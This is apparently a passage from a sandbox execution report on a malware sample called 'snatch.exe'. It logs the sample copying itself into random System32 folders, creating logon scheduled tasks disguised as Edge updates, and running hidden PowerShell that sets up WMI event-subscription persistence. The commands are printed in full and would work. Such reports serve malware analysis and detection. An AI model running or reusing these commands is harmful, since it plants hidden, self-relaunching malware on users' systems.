  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\xara09wf94\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  PID:7940

C:\Windows\System32\xara09wf94\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\xara09wf94\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:4828
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-8yfxq6unj3 /tr C:\Windows\System32\rhw2pm85by\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\rhw2pm85by\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:7164

C:\Windows\System32\rhw2pm85by\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\rhw2pm85by\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:7396
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-da8fhj1ehy /tr C:\Windows\System32\oienfv2mty\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5660
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\oienfv2mty\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:728

C:\Windows\System32\oienfv2mty\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\oienfv2mty\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:7756
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-sl8k5ndqqa /tr C:\Windows\System32\6gk5ltnp7a\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:8020
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\6gk5ltnp7a\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:8032

C:\Windows\System32\6gk5ltnp7a\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\6gk5ltnp7a\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:7940
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-vimcrmz6gt /tr C:\Windows\System32\y3gjcwenf8\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\y3gjcwenf8\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  PID:3640

C:\Windows\System32\y3gjcwenf8\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\y3gjcwenf8\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:7584
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-93279d1gac /tr C:\Windows\System32\yayy4wvjb1\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:7600
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\yayy4wvjb1\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:7720

C:\Windows\System32\yayy4wvjb1\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\yayy4wvjb1\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:5452
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-m42ybj78qt /tr C:\Windows\System32\ncf2qrmahj\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2484
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\ncf2qrmahj\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5000

C:\Windows\System32\ncf2qrmahj\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\ncf2qrmahj\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:7852
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-8d0kyywazd /tr C:\Windows\System32\5vyqr0st22\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:3444
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\5vyqr0st22\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  PID:8028

C:\Windows\System32\5vyqr0st22\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\5vyqr0st22\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:7812
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-14zdzkadoq /tr C:\Windows\System32\tyvgfj4km3\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\tyvgfj4km3\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5168

C:\Windows\System32\tyvgfj4km3\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\tyvgfj4km3\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:3376
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-32dmwdrhkk /tr C:\Windows\System32\hgi39ilbux\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5660
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\hgi39ilbux\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3092

C:\Windows\System32\hgi39ilbux\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\hgi39ilbux\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:1992
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-fxhb79xb31 /tr C:\Windows\System32\66l5hd2ep3\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3444
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\66l5hd2ep3\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3640

C:\Windows\System32\66l5hd2ep3\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\66l5hd2ep3\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:8280
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-8n5vwqtlzi /tr C:\Windows\System32\idt6n7n499\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:8336
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\idt6n7n499\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:8352

C:\Windows\System32\idt6n7n499\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\idt6n7n499\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:8536
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-scgg6uz4g7 /tr C:\Windows\System32\06xgamve22\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:8592
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\06xgamve22\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:8608

C:\Windows\System32\06xgamve22\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\06xgamve22\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:8796
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-zveupvxtgm /tr C:\Windows\System32\pwhk8c9230\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:8852
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\pwhk8c9230\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:8868

C:\Windows\System32\pwhk8c9230\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\pwhk8c9230\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:9056
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-9b3xtdmkq4 /tr C:\Windows\System32\k3loyx9wkk\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:9112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\k3loyx9wkk\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:9128

C:\Windows\System32\k3loyx9wkk\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\k3loyx9wkk\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:8268
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-i96bhwcf5i /tr C:\Windows\System32\7c5n55l57h\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:8392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\7c5n55l57h\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:8372

C:\Windows\System32\7c5n55l57h\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\7c5n55l57h\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:8636
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-lcymwz2keo /tr C:\Windows\System32\laty7racg0\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:8792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\laty7racg0\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:8832

C:\Windows\System32\laty7racg0\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\laty7racg0\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:9104
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-zk00m96tpq /tr C:\Windows\System32\0plmpsw43r\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4884
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\0plmpsw43r\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  PID:8236

C:\Windows\System32\0plmpsw43r\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\0plmpsw43r\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:8404
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-vqdb317lr4 /tr C:\Windows\System32\4jl2zyaryt\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:8380
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\4jl2zyaryt\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:8724

C:\Windows\System32\4jl2zyaryt\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\4jl2zyaryt\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:4944
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-449ujr3dzv /tr C:\Windows\System32\zpty7lywvr\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:9196
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
